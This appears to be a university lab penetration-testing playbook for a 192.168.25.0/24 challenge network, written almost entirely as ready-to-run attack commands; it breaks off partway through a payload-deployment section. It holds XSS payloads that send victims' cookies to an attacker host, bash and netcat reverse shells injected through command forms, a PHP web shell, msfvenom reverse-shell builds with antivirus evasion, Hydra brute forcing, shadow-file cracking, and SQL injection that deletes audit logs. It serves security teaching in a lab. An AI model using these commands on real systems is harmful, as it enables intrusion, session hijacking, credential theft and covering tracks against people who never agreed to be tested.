SCC.442 COMPREHENSIVE PENETRATION TESTING PLAYBOOK

Complete Lab-Integrated Edition with All Techniques

Version: 4.0 – Complete & Final
Target Network: 192.168.25.0/24
Attacker Machine: 192.168.25.100
Challenge IPs: .110, .120, .130, .140, .150, .160
Goal: Capture `proof.txt` from each machine

TABLE OF CONTENTS – COMPLETE NAVIGATION

CORE SECTIONS

- SECTION 1: Core Strategy & Universal Pipeline
- SECTION 2: Reconnaissance & Scanning
- SECTION 3: Enumeration

WEB APPLICATION TESTING

- SECTION 4: Web Reconnaissance & Scanning
- SECTION 4B: Web Cross Site Scripting (XSS) - Lab 21
- SECTION 4C: Web Session Hijacking - Lab 22
- SECTION 4D: Web Parameter Tampering - Lab 17
- SECTION 4E: SQL Injection - Lab 20
- SECTION 4F: Command Injection - Lab 19
- SECTION 4G: Cross-Site Request Forgery (CSRF) - Lab 18
- SECTION 4H: Web Reverse Shell & File Upload - Lab 16

EXPLOITATION & ATTACKS

- SECTION 5: Exploitation Techniques
- SECTION 6: Password Guessing & Cracking

POST-EXPLOITATION

- SECTION 7: Privilege Escalation
- SECTION 8: Reverse Shells & Backdoors

PRACTICAL APPLICATION

- SECTION 9: Challenge Pattern Walkthroughs

- SECTION 10: On-Demand Command Generation
- SECTION 11: Troubleshooting & Recovery
- SECTION 12: Quick Reference & Aliases

SECTION 1: CORE STRATEGY & UNIVERSAL PIPELINE

1.1 Golden Rules (NEVER Break These)

```
1. DO NOT scan 192.168.25.100 (that's your Kali)
2. Challenge IPs are multiples of 10: .110, .120, .130, .140, .150, .160
3. Keep screenshots of EVERY step (proof for report)
4. Document output from EVERY command (for analysis)
5. Work METHODICALLY through Cyber Kill Chain
6. If stuck on one machine, pivot to next → return later
7. Flag location: usually /root/proof.txt or C:\Users\Admin\proof.txt
```

1.2 Universal Attack Pipeline (Apply to EVERY Target)

Phase 1: RECONNAISSANCE (Gather Intelligence)

```
# Step 1: Single host discovery scan across subnet
nmap -sn -T5 -v -n 192.168.25.0/24 | grep "Nmap scan report"

# Step 2: Detailed port + service + version scan (MOST IMPORTANT)
nmap -sC -sV 192.168.25.1XX
# Flags: -sC = default scripts, -sV = versions, -Pn = skip ping

# Step 3: OS fingerprinting (if services unclear)
sudo nmap -Pn -O 192.168.25.1XX

# Step 4: Full port scan (slow but thorough)
nmap -p- -sC -sV -T4 192.168.25.1XX
```

OUTPUT INTERPRETATION: - 21/tcp ftp → Try anonymous login, hunt for credentials - 22/tcp ssh → Use found credentials or Hydra - 80/tcp http → Web app, check for SQLi/XSS/RCE - 3389/tcp rdp → Windows, use Hydra or found credentials - 137-139/tcp netbios → SMB shares, enumerate users - Custom ports (>5000) → Often backdoors, reverse shells

Phase 2: ENUMERATION (Deep Service Discovery)

For FTP (Port 21)

```
# Anonymous login (most common on labs)
ftp -a 192.168.25.1XX
ls -la
get filename.txt
binary  # Set mode to binary for exe files
mget *.txt  # Get multiple files
bye
```

For SSH (Port 22)

```
# If you have credentials already
ssh username@192.168.25.1XX
ssh -i keyfile username@192.168.25.1XX

# Test connection without interactive login
ssh -o PasswordAuthentication=no username@192.168.25.1XX 2>&1 | head -1
```

For HTTP (Port 80/8080/3000) – See SECTION 4

For SMB (Port 137-139, 445)

```
# List shares
smbclient -L 192.168.25.1XX -U "" -N  # Anonymous

# Connect to share
smbclient \\\\192.168.25.1XX\\sharename -U user%pass

# Metasploit enumeration
msfconsole
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.25.1XX
run
```

For RDP (Port 3389)

```
# Check if available
nmap -p 3389 192.168.25.1XX

# Test credentials with Hydra first
hydra -t 1 -f -C pwned-colon.txt rdp://192.168.25.1XX

# RDP login (once credentials found)
xfreerdp3 /u:USERNAME /p:PASSWORD /v:192.168.25.1XX
```

SECTION 2: RECONNAISSANCE & SCANNING

2.1 Nmap Deep Dive (From Lab Manual)

Basic Scans

```
# Ping sweep (discover hosts)
nmap -sn -T5 -v -n 192.168.25.0/24

# TCP connect scan (full connection)
nmap -sT -v -n 192.168.25.1XX

# SYN stealth scan (default)
nmap -sS -v -n 192.168.25.1XX

# UDP scan (for specific protocols)
nmap -sU -v 192.168.25.1XX
nmap -sU -p 53,123,137 -v 192.168.25.1XX

# Fast scan (top 1000 ports only)
nmap -F 192.168.25.1XX

# All ports
nmap -p- 192.168.25.1XX

# Specific port range
nmap -p 1-1024,3306,5432,8080 192.168.25.1XX

# Version detection
nmap -sV 192.168.25.1XX

# Default scripts (vulnerability probes)
nmap -sC 192.168.25.1XX

# Aggressive scan (OS + version + scripts + traceroute)
nmap -A 192.168.25.1XX

# Combined: Recommended for labs
nmap -sC -sV -O 192.168.25.1XX
```

Advanced Nmap Techniques

```
# OS detection (requires -O, slower)
sudo nmap -O 192.168.25.1XX
```

```
# Service version with intensity
nmap -sV --version-intensity 9 192.168.25.1XX

# Custom script targeting specific service
nmap --script smb-enum-shares.nse -p 445 192.168.25.1XX
nmap --script http-enum -p 80 192.168.25.1XX
nmap --script ftp-anon -p 21 192.168.25.1XX

# Save output in multiple formats
nmap -sC -sV -O 192.168.25.1XX -oA scan_results
```

Timing Templates (T1-T5)

```
# T3: Normal (default, balanced) - recommended for labs
nmap -T3 192.168.25.1XX

# T5: Insane (very fast, may lose accuracy)
nmap -T5 192.168.25.1XX
```

SECTION 3: ENUMERATION

3.1 OS & Service Detection

Linux vs Windows Indicators

```
LINUX: OpenSSH, Apache/Nginx, vsftpd, Samba, MySQL, PostgreSQL
WINDOWS: RDP (3389), SMB (135-139,445), IIS, MSSQL, WinRM
```

Nmap Service Enumeration Commands

```
# Service version probing
nmap -sV 192.168.25.1XX

# NetBIOS enumeration script
sudo nmap -sU --script nbstat.nse -p 137 192.168.25.1XX

# SMB enumeration (shares, users, domains)
nmap --script smb-enum-shares.nse 192.168.25.1XX
nmap --script smb-enum-users.nse 192.168.25.1XX
nmap --script smb-os-discovery.nse 192.168.25.1XX

# FTP anonymous detection
nmap --script ftp-anon -p 21 192.168.25.1XX
```

3.2 SMB Enumeration (Metasploit Approach)

```
msfconsole

# Step 1: Check SMB version
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.25.1XX
run

# Step 2: Enumerate users via RID brute-force
use auxiliary/scanner/smb/smb_lookupsid
set RHOSTS 192.168.25.1XX
exploit

# Step 3: List shares
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 192.168.25.1XX
run

# Step 4: Test credentials
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.25.1XX
set USERNAME Administrator
set PASS_FILE /path/to/wordlist.txt
run
```

SECTION 4: WEB RECONNAISSANCE & SCANNING

4.1 Web Scanning Tools (From Lab 6)

Nikto (Vulnerability Scanner)

```
# Basic web server scan
nikto -host http://192.168.25.1XX

# Scan specific port
nikto -host http://192.168.25.1XX:8080

# Follow redirects
nikto -host http://192.168.25.1XX -followredirects -nointeractive -ask no

# Output to file
nikto -host http://192.168.25.1XX -o nikto_results.txt
```

Directory Brute-Forcing (Dirb, Gobuster)

```
# Dirb: Traditional directory scanner
dirb http://192.168.25.1XX /usr/share/dirb/wordlists/common.txt -X .html,.php

# Gobuster: Faster alternative
gobuster dir -u http://192.168.25.1XX -w /usr/share/wordlists/dirb/common.txt -x php,html,tx

# Recursive directory discovery (careful - time-consuming)
dirb http://192.168.25.1XX -r

# Large wordlist for thoroughness
gobuster dir -u http://192.168.25.1XX \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt \
  -x php,html,txt,aspx,jsp

# Exclude status codes (ignore 403, 404)
gobuster dir -u http://192.168.25.1XX -w /path/to/wordlist.txt -b 403,404
```

Manual Web Inspection

```
# Firefox: Open browser and navigate
firefox http://192.168.25.1XX

# Check page source (Ctrl+U)
# Look for: HTML comments, script sources, hidden form fields, cookies

# View robots.txt
curl http://192.168.25.1XX/robots.txt

# Check for .git exposure
wget http://192.168.25.1XX/.git/config

# Check for backup files
curl http://192.168.25.1XX/backup.sql
curl http://192.168.25.1XX/index.php.bak
```

SECTION 4B: WEB CROSS SITE SCRIPTING (XSS) – LAB 21

CWE-79 Improper Neutralization of Input During Web Page Generation

4B.1 Types of XSS Vulnerabilities

Type 1: Stored XSS (Persistent)

What it is: - Payload stored in database (guestbook, comment, forum post) - **Every user** who loads page sees the payload - **Most dangerous** – automated, affects many users

Lab Example: DVWA Guestbook

```
# Step 1: Navigate to DVWA
firefox http://TARGET/vulnerabilities/xss_s/

# Step 2: Login with admin/password

# Step 3: Set security level to LOW

# Step 4: Enter payload in message field
<script>alert('Hacked')</script>

# Step 5: Click "Sign Guestbook"
# You should see alert pop-up

# Step 6: Refresh page
# Alert appears AGAIN because payload is stored in database!
```

Type 2: Reflected XSS (Non-Persistent)

What it is: - Payload in URL, reflected back in page - Requires **social engineering** (user must click link)

Lab Example: DVWA Reflected XSS

```
# Step 1: Navigate to reflected page
firefox http://TARGET/vulnerabilities/xss_r/

# Step 2: Enter payload in text box
<script>alert('Hacked')</script>

# Step 3: Submit form
# Alert appears (payload in URL)

# Step 4: Check page URL
# URL contains: ...default=<script>alert('Hacked')</script>
```

Type 3: DOM XSS (Client-side)

What it is: - Vulnerability in **JavaScript code** on client - Browser processes payload before sending to server

```
# Step 1: Go to XSS DOM page
firefox http://TARGET/vulnerabilities/xss_d/

# Step 2: View page source (Ctrl+U)

# Step 3: Payload in URL fragment (after #)
http://TARGET/vulnerabilities/xss_d/#<script>alert('DOM XSS')</script>

# Step 4: Browser processes fragment locally
```

4B.2 XSS Exploitation Payloads

Basic Alert (Test Only)

```
<script>alert('XSS')</script>
```

Cookie Stealing (Most Common Attack)

```
<script>
document.location='http://ATTACKER_IP:8000/?cookie='+document.cookie;
</script>
```

On Attacker Kali:

```
# Start HTTP listener to capture cookies
python3 -m http.server 8000

# When victim clicks malicious URL:
# Attacker sees: GET /?cookie=SESSIONID=abc123... HTTP/1.1
```

Advanced: XSS with Image Tag (Evade Filters)

```
<img src=x onerror="document.location='http://ATTACKER:8000/?c='+document.cookie">
```

Evasion Techniques (OWASP Cheat Sheet)

```
// 1. Encoding bypass
<img src="x" onerror="alert(String.fromCharCode(88,83,83))">

// 2. Event handler abuse
<body onload=alert(1)>
<svg/onload=alert(1)>
<iframe onload=alert(1)>

// 3. Protocol handler
<a href="javascript:alert(1)">click</a>

// 4. Data URL
```

```
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

// 5. Nested encoding
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
```

4B.3 XSS Detection & Testing

Manual Testing Steps

```
# Step 1: Identify all input fields
# - Text boxes, comments, search bars, usernames, emails

# Step 2: Try basic payload
<script>alert('XSS')</script>

# Step 3: If blocked, try variations
<Script>alert('XSS')</Script>
<IMG SRC="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>

# Step 4: Check page source (Ctrl+U)
# Does your payload appear unescaped?

# Step 5: Check browser console (F12)
# Any JavaScript errors? Indicates execution
```

SECTION 4C: WEB SESSION HIJACKING – LAB 22

CWE-626 Null Byte Interaction Error

4C.1 Session Hijacking Overview

Attack Chain:

```
1. Find XSS on website (contact form, etc.)
2. Craft payload to steal cookies
3. Send malicious link to victim (social engineering)
4. Victim opens link → JavaScript executes
5. Victim's cookies sent to attacker's server
6. Attacker copies cookie
7. Attacker replaces their own cookie with victim's
```

```
8. Attacker refreshes page → LOGGED IN AS VICTIM
```

4C.2 Cookie Structure & Theft

Understanding Cookies

Cookies are set by server, stored by browser:

```
# In Firefox Developer Tools (F12):
# Storage → Cookies → http://TARGET

# Common cookies for web apps:
# - PHPSESSID (PHP sessions)
# - SESSIONID (generic)
# - token (JWT or custom)
# - continueCode (tracking)
# - __Host-* (secure, HttpOnly flags)
```

Cookie Attributes (Security)

Attribute	Purpose	Bypass
`HttpOnly`	Cookie not accessible via JavaScript	Can't steal with `document.cookie`
`Secure`	Only sent over HTTPS	XSS on HTTP still vulnerable
`SameSite`	Prevent CSRF by restricting cross-site	Older browsers may ignore
`Domain`	Which sites can access cookie	Same domain XSS can steal

Stealing Cookies via XSS

```
// Simple cookie exfiltration
<script>
document.location='http://ATTACKER_IP:8000/?cookie='+document.cookie;
</script>

// More advanced (Base64 encode)
<script>
fetch('http://ATTACKER_IP:8000/?c='+btoa(document.cookie));
</script>

// Using image tag (no CORS issues)
<img src="http://ATTACKER_IP:8000/?cookie=..." onerror="alert(1)">
```

4C.3 Lab 22 Walkthrough: Juice Shop Session Hijacking

Step 1: Find XSS Vulnerability

```
# Juice Shop has XSS on contact page
# But it's protected with sanitize-html library

# Step 1: Access contact page
firefox http://192.168.25.1XX:3000/contact

# Step 2: Check page source
# Find which JavaScript library sanitizes input

# Step 3: Look for backup config file
# Juice Shop might expose package.json.bak
# Try: http://192.168.25.1XX:3000/ftp/package.json.bak

# If blocked, use Poison Null Byte:
http://192.168.25.1XX:3000/ftp/package.json.bak%00.md
```

Step 2: Find Vulnerable Library Version

```
# In package.json.bak:
# Look for: "sanitize-html": "1.x.x"

# Check CVE database
# Example: sanitize-html 1.4.2 has XSS bypass via <iframe>
```

Step 3: Craft XSS Payload

```
# For sanitize-html 1.4.2, use iframe:
<iframe src="javascript:fetch('http://ATTACKER:82/?cookie='+document.cookie)"></iframe>

# Alternative:
<img src=x onerror="fetch('http://ATTACKER:82/?cookie='+btoa(document.cookie))">
```

Step 4: Execute XSS & Steal Cookies

```
# On Kali (Attacker):
# Step 1: Start listener on port 82
sudo nc -nvlp 82
# OR
python3 -m http.server 8000

# Step 2: On vulnerable Juice Shop:
# Go to: http://192.168.25.1XX:3000/contact
# Enter XSS payload in comment box
```

```
# Click Submit

# Step 3: Load a different page (e.g., /about)
# This triggers the fetch/img to connect back to attacker

# Step 4: In attacker's terminal, see:
# GET /?cookie=token=eyJ0eXAi...; continueCode=xxx HTTP/1.1

# Step 5: Copy the cookie value
```

Step 5: Decode & Use Stolen Cookie

```
# Cookies are often Base64 encoded
# Decode in terminal:
echo "eyJ0eXAi..." | base64 -d

# Or in Python:
python3 -c "import base64; print(base64.b64decode('eyJ0eXAi...'))"
```

Step 6: Replace Cookie & Impersonate User

```
# On Kali, in Firefox (as attacker):
# Step 1: Go to Juice Shop
firefox http://192.168.25.1XX:3000

# Step 2: Open Developer Tools (F12)

# Step 3: Go to Storage tab

# Step 4: Click Cookies → http://192.168.25.1XX:3000

# Step 5: Delete your current "token" cookie
# Right-click → Delete

# Step 6: Create new cookie
# Name: token
# Value: [paste stolen cookie]

# Step 7: Also update "continueCode"

# Step 8: Refresh page (F5)
# You're now logged in as the victim!
```

SECTION 4D: WEB PARAMETER TAMPERING – LAB 17

CWE-94 Improper Control of Generation of Code (Code Injection)

4D.1 Parameter Tampering Basics

What it is

- Modify HTTP request parameters (GET/POST)
- Change values client-side to bypass checks
- Common targets: prices, user IDs, permissions

Lab Example: Modifying POST Request

```
# Step 1: Navigate to vulnerable page
firefox http://TARGET/vulnerable_page

# Step 2: Open Developer Tools (F12)

# Step 3: Go to Network tab

# Step 4: Perform action (submit form, buy item, etc.)

# Step 5: Find POST request in Network tab

# Step 6: Right-click → Edit and Resend

# Step 7: Modify parameters:
# Change: price=99.99 → price=0.01
# Change: userId=2 → userId=1
# Change: isAdmin=false → isAdmin=true

# Step 8: Resend request

# Step 9: Observe result (price changed, escalated privileges, etc.)
```

4D.2 Using Browser DevTools

```
# Firefox F12 → Inspector → Element Edit as HTML

# Modify form fields directly:
<input type="hidden" name="price" value="99.99">
# Change to:
<input type="hidden" name="price" value="0.01">
```

```
# Modify input boxes:
<input type="text" value="$100">
# Right-click → Inspect → Edit HTML → Change value
```

4D.3 Burp Suite Parameter Tampering

```
# Step 1: Start Burp Suite
burp

# Step 2: Set Firefox proxy to Burp
# Firefox Settings → Network → Manual Proxy
# HTTP: 127.0.0.1:8080

# Step 3: Capture request
# Click in Burp → Proxy → Intercept

# Step 4: Perform action on web app
# Burp captures the request

# Step 5: Modify parameters in Burp
# Example: Change GET ?price=100 to ?price=0

# Step 6: Forward request
# Click "Forward" button

# Step 7: Observe result in browser
```

SECTION 4E: SQL INJECTION – LAB 20

CWE-89 Improper Neutralization of Special Elements used in an SQL Command

4E.1 SQL Injection Testing

Basic SQLi Detection

```
# Try in form inputs:
' OR 1=1 --
' OR '1'='1
" OR "1"="1
' or 1=1 --
' or 1=1 #

# Boolean-based blind SQLi
```

```
' OR SLEEP(5) --     # MySQL/MariaDB
' OR WAITFOR DELAY '00:00:05' --  # MSSQL

# UNION-based SQLi (most reliable)
# Step 1: Determine column count
' UNION SELECT null --
' UNION SELECT null, null --
' UNION SELECT null, null, null --

# Step 2: Identify data types
' UNION SELECT 'a', 'b', 'c' --
' UNION SELECT 1, 2, 3 --

# Step 3: Extract database info
' UNION SELECT database(), user(), version() --
' UNION SELECT @@version, @@datadir, @@basedir --

# Step 4: List tables
' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema=database()
' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema='SCC442' -

# Step 5: List columns
' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' --

# Step 6: Extract data
' UNION SELECT username, password FROM users --
' UNION SELECT email, pass FROM admin --

# Step 7: Escalate (if allowed)
' ; UPDATE users SET isadmin=1 WHERE username='student' --
' ; DELETE FROM audit_logs --
```

4E.2 SQLMap (Automated SQLi)

```
# Basic SQLi detection (GET parameter)
sqlmap -u "http://192.168.25.1XX/search.php?name=test" --batch

# SQLi with POST form
sqlmap -u "http://192.168.25.1XX/login.php" \
  --data "username=test&password=test" \
  -p username --batch

# Cookie-based SQLi
sqlmap -u "http://192.168.25.1XX/page.php?id=1" \
  --cookie "SESSIONID=abc123" --batch
```

```
# Database enumeration
sqlmap -u "http://192.168.25.1XX/page.php?id=1" \
  --batch -D dvwa -T users --dump

# Specific table dump
sqlmap -u "http://192.168.25.1XX/page.php?id=1" \
  --batch -D database_name -T table_name --dump

# List databases
sqlmap -u "http://192.168.25.1XX/page.php?id=1" --batch --dbs
```

SECTION 4F: COMMAND INJECTION – LAB 19

CWE-78 Improper Neutralization of Special Elements used in an OS Command

4F.1 Command Injection Testing

Linux Command Injection

```
# Try in forms that execute system commands:
; id
; whoami
; cat /etc/passwd
& ls -la /
| nc attacker_ip 4444 -e /bin/bash

# Chaining commands:
; whoami
| whoami
&& whoami
|| whoami

# Reverse shell via command injection:
; bash -i >& /dev/tcp/192.168.25.100/4444 0>&1
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.25.100 4444 >/tmp/f
```

Windows Command Injection

```
# Try in forms:
& dir
& whoami
& systeminfo
```

```
| powershell -nop -w hidden -c "..."

# Chaining:
& echo test
| type C:\Windows\System32\drivers\etc\hosts
```

4F.2 Lab 19 DVWA Command Injection

```
# Step 1: Navigate to DVWA command injection page
firefox http://TARGET/vulnerabilities/exec/

# Step 2: In ping form, enter:
127.0.0.1 ; id

# Step 3: Click Submit

# Step 4: See output:
# PING 127.0.0.1...
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Step 5: More dangerous command:
127.0.0.1 ; cat /etc/passwd

# Step 6: Get reverse shell:
127.0.0.1 ; bash -i >& /dev/tcp/192.168.25.100/4444 0>&1
```

SECTION 4G: CROSS-SITE REQUEST FORGERY (CSRF) – LAB 18

CWE-352 Cross-Site Request Forgery (CSRF)

4G.1 CSRF Vulnerability Detection

What it is

- Force authenticated user to perform unintended action
- Uses user's existing session/cookies
- No user interaction required (automatic request)

Lab Example: DVWA CSRF

```
# Step 1: Login to DVWA
firefox http://TARGET/
```

```
# Step 2: Go to CSRF page
firefox http://TARGET/vulnerabilities/csrf/

# Step 3: Change password form visible

# Step 4: Open Developer Tools (F12)

# Step 5: Check request method
# Likely: <form method="POST">

# Step 6: If NO CSRF token field visible:
# Vulnerability likely exists

# Step 7: Craft CSRF payload:
<img src="http://TARGET/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Chang

# When victim visits page with payload → Password changed!
```

4G.2 CSRF Token Bypass

```
# If token is predictable:
# Token = MD5(username + timestamp)
# Calculate new token for victim

# If token is missing from certain requests:
# Try POST without token parameter

# If token is in hidden field:
# Attacker modifies token or removes check
```

4G.3 SameSite Cookie Protection

```
# Modern browsers default to SameSite=Lax
# Check Firefox: about:config → network.cookie.sameSite.laxByDefault

# SameSite prevents cross-site cookie sending
# But doesn't prevent XSS attacks (same-site!)
```

SECTION 4H: WEB REVERSE SHELL & FILE UPLOAD – LAB 16

CWE-434 Unrestricted Upload of File with Dangerous Type

4H.1 Web Shell Upload

Create PHP Reverse Shell

```
# Simple PHP shell
cat > shell.php << 'EOF'
<?php
system($_GET['cmd']);
?>
EOF

# More sophisticated PHP shell
cat > shell.php << 'EOF'
<?php
$cmd = $_GET['cmd'];
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
?>
EOF

# Upload via web form (if upload exists)
# Then access: http://192.168.25.1XX/uploads/shell.php?cmd=id

# Test with curl
curl "http://192.168.25.1XX/uploads/shell.php?cmd=whoami"

# RCE via web shell
curl "http://192.168.25.1XX/uploads/shell.php?cmd=cat%20/etc/passwd"
curl "http://192.168.25.1XX/uploads/shell.php?cmd=nc%20192.168.25.100%204444%20-e%20/bin/bas
```

File Upload Bypass Techniques

```
# 1. Extension bypass
# Try: shell.php.jpg, shell.phtml, shell.php5, shell.phps

# 2. MIME type bypass
# Change Content-Type: application/x-php → image/jpeg

# 3. Null byte injection (older servers)
# Filename: shell.php%00.jpg → Saved as shell.php

# 4. Double extension
# shell.php.jpg → Processed as PHP if misconfigured

# 5. Polyglot file (valid image + valid PHP)
# Image file with embedded PHP code
# If extracted and executed → RCE
```

```
# 6. Alternative PHP extensions
# .phtml, .php3, .php4, .php5, .php6, .php7, .phps, .pht
```

SECTION 5: EXPLOITATION TECHNIQUES

5.1 Exploitation Decision Matrix

```
Service Found     | Strategy
================================================
21/FTP anon       | → Get creds from files → SSH/RDP
22/SSH            | → Use found creds OR Hydra
80-8080/HTTP      | → SQLi / XSS / RCE / File Upload
3389/RDP          | → Hydra password guess → RDP login
135-139/SMB       | → Enumerate shares → Potential RCE
445/SMB           | → SMB exploits (EternalBlue, etc.)
3306/MySQL        | → SQLi from web OR direct access
5432/PostgreSQL   | → Direct access with found creds
Custom ports      | → Reverse shell OR backdoor → connect
```

5.2 Default Credentials (Lab Common Scenarios)

```
Software          | Default User     | Default Pass
================================================================
DVWA              | admin            | password
Juice Shop        | admin@juice.biz  | admin123
Tomcat            | admin            | admin
MySQL             | root             | (no password)
PostgreSQL        | postgres         | postgres
FTP               | (anonymous)      | (any)
SMB Guest         | guest            | (no password)
Windows RDP       | Administrator    | (varies)
```

SECTION 6: PASSWORD GUESSING & CRACKING

6.1 Hydra: Brute-Force Attacks

SSH Brute-Forcing

```
# Separate user/password files
hydra -V -L userlist.txt -P passlist.txt -t 4 ssh://192.168.25.1XX
```

```
# Single user, multiple passwords
hydra -V -l bob -P passlist.txt ssh://192.168.25.1XX

# Colon format file (user:password)
hydra -V -f -C pwned-colon.txt ssh://192.168.25.1XX

# Specific username with targeted wordlist
hydra -V -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.25.1XX

# Custom port
hydra -V -L userlist.txt -P passlist.txt ssh://192.168.25.1XX:2222

# Increased threads (for SSH, 4 is safe)
hydra -V -t 4 -L userlist.txt -P passlist.txt ssh://192.168.25.1XX

# With timeout
hydra -V -W 2 -L userlist.txt -P passlist.txt ssh://192.168.25.1XX
```

RDP Brute-Forcing

```
# RDP is slower - use fewer threads
hydra -V -t 1 -L userlist.txt -P passlist.txt rdp://192.168.25.1XX

# RDP with colon file
hydra -V -f -C pwned-colon.txt -t 1 rdp://192.168.25.1XX

# Add wait time for slow services
hydra -V -f -C pwned-colon.txt -W 3 rdp://192.168.25.1XX
```

SMB & FTP Brute-Forcing

```
# SMB
hydra -V -L userlist.txt -P passlist.txt smb://192.168.25.1XX

# FTP
hydra -V -L userlist.txt -P passlist.txt ftp://192.168.25.1XX
```

6.2 Wordlist Generation & Customization

```
# Create wordlist from hints
cat > passlist.txt << 'EOF'
RexQuartz
Rexquartz
RexDiamond
RexSapphire
```

```
EOF

# Use crunch for pattern generation
crunch 8 8 -t Rex@@@@@@ > passlist.txt

# Use cewl to scrape website
cewl http://192.168.25.1XX -w website_wordlist.txt

# Combine wordlists
cat wordlist1.txt wordlist2.txt > combined.txt

# Remove duplicates
sort -u combined.txt > unique_wordlist.txt

# Common wordlist locations
ls /usr/share/wordlists/
```

6.3 John the Ripper: Hash Cracking

Linux Shadow File Cracking

```
# Step 1: Copy passwd and shadow from target
scp user@192.168.25.1XX:/etc/passwd .
scp user@192.168.25.1XX:/etc/shadow .

# Step 2: Combine with unshadow
unshadow passwd shadow > linuxpasswords

# Step 3: Get wordlist
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz

# Step 4: Crack with wordlist
john linuxpasswords --wordlist=rockyou.txt --format=md5crypt

# Step 5: View results
john --show linuxpasswords

# Step 6: SSH with cracked password
ssh newuser@192.168.25.1XX
cat proof.txt
```

Windows SAM File Cracking

```
# Crack Windows hashes
john winhashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=NT
```

```
# View results
john --show winhashes.txt
```

SECTION 7: PRIVILEGE ESCALATION

7.1 Linux Privilege Escalation

Quick Checks (Do These First)

```
# Check sudo permissions (MOST COMMON)
sudo -l
# Common vulnerabilities:
#   - NOPASSWD: /bin/bash  (instant root)
#   - NOPASSWD: /usr/bin/nano /etc/passwd  (edit as root)
#   - NOPASSWD: /usr/bin/sudoedit  (sudoedit exploit)

# Check current user and groups
id
groups

# Check sudo version (some versions vulnerable)
sudo --version
```

SUID Binaries

```
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check for unusual SUID binaries
# Common vulnerable:
# /usr/bin/sudo (if old)
# /usr/sbin/ping (sometimes)
# /usr/bin/pkexec (Pwnkit - CVE-2021-4034)
# Custom /usr/local/bin/* (often vulnerable)

# Test unknown binary
strings /usr/local/bin/unknown_binary
ltrace /usr/local/bin/unknown_binary
strace /usr/local/bin/unknown_binary
```

World-Writable Files & Cron Jobs

```
# Find world-writable files
find / -perm -002 -type f 2>/dev/null
```

```
# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/

# If cron.daily is world-writable:
echo 'cat /root/proof.txt > /tmp/flag.txt' >> /etc/cron.d/malicious
# Wait for cron to run
cat /tmp/flag.txt
```

Kernel Exploits

```
# Check kernel version
uname -a

# Common lab scenarios:
# - CVE-2022-0847 (dirtypipe) - Linux 5.16.11 <
# - CVE-2021-3493 (overlayfs) - Linux 5.11 <
# - CVE-2021-4034 (Pwnkit - pkexec) - many versions

# Download and compile exploit
searchsploit dirtypipe
gcc -o exploit exploit.c
./exploit

# Check if successful
id
```

Sudo Misconfiguration Exploits

```
# Sudoedit bypass (if sudoedit available in sudo -l)
SUDO_EDITOR='cat -- /root/proof.txt' sudoedit /etc/os-release

# Alternative sudoedit exploit
SUDO_EDITOR='/bin/bash' sudoedit /root/proof.txt
```

7.2 Windows Privilege Escalation

Manual Checks

```
# Check current privilege level
whoami
whoami /priv

# List privileges (look for these dangerous ones)
# SeDebugPrivilege - can debug processes and memory
# SeImpersonatePrivilege - can impersonate tokens
```

```
# SeBackupPrivilege - can read any file
# SeRestorePrivilege - can write any file
# SeTakeOwnershipPrivilege - can change file ownership
# SeLoadDriverPrivilege - can load unsigned drivers

# Check if running as SYSTEM or admin
net localgroup Administrators

# Check Windows version (for exploit research)
ver
systeminfo | findstr /B /C:"OS Version"
```

Local Exploit Suggester (Metasploit)

```
# (From Kali with meterpreter session)
background

use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Output: List of applicable exploits ranked by usefulness
```

Service Misconfiguration

```
# Find unquoted service paths
wmic service get name,pathname | findstr /V "System32"

# Check service permissions
icacls "C:\Program Files\Vulnerable App"

# If you can write → drop malicious exe
```

SECTION 8: REVERSE SHELLS & BACKDOORS

8.1 Meterpreter Payload Generation

Linux Reverse Shell

```
# Create Linux x64 reverse shell
msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --arch x64 --platform linux --format elf -o reversetcp
```

```
# Create Linux x86 reverse shell (for older systems)
msfvenom --payload linux/x86/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --arch x86 --platform linux --format elf -o reversetcp_x86
```

Windows Reverse Shell

```
# Create Windows x64 reverse shell EXE
msfvenom --payload windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=5555 \
  --arch x64 --platform windows --format exe -o reversetcp.exe

# Create Windows x86 reverse shell EXE
msfvenom --payload windows/x86/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=5555 \
  --arch x86 --platform windows --format exe -o reversetcp_x86.exe

# Obfuscated Windows payload (evade antivirus)
msfvenom --payload windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=5555 \
  --arch x64 --platform windows --format exe \
  -e x86/shikata_ga_nai -i 5 -o reversetcp_obf.exe
```

8.2 Payload Deployment Methods

Method 1: Direct File Transfer (SCP/Rsync)

```
# Transfer to target (Linux)
scp reversetcp user@192.168.25.1XX:/home/user/
ssh user@192.168.25.1XX chmod +x /home/user/reversetcp
ssh user@192.168.25.1XX /home/user/reversetcp

# Transfer to target (Windows via RDP)
# Copy via Windows RDP file sharing
# OR upload via web upload form
```

Method 2: HTTP Server Download

```
# On Kali: Start HTTP server
cd /path/to/payloads
python3 -m http.server 8000

# On Target: Download and execute
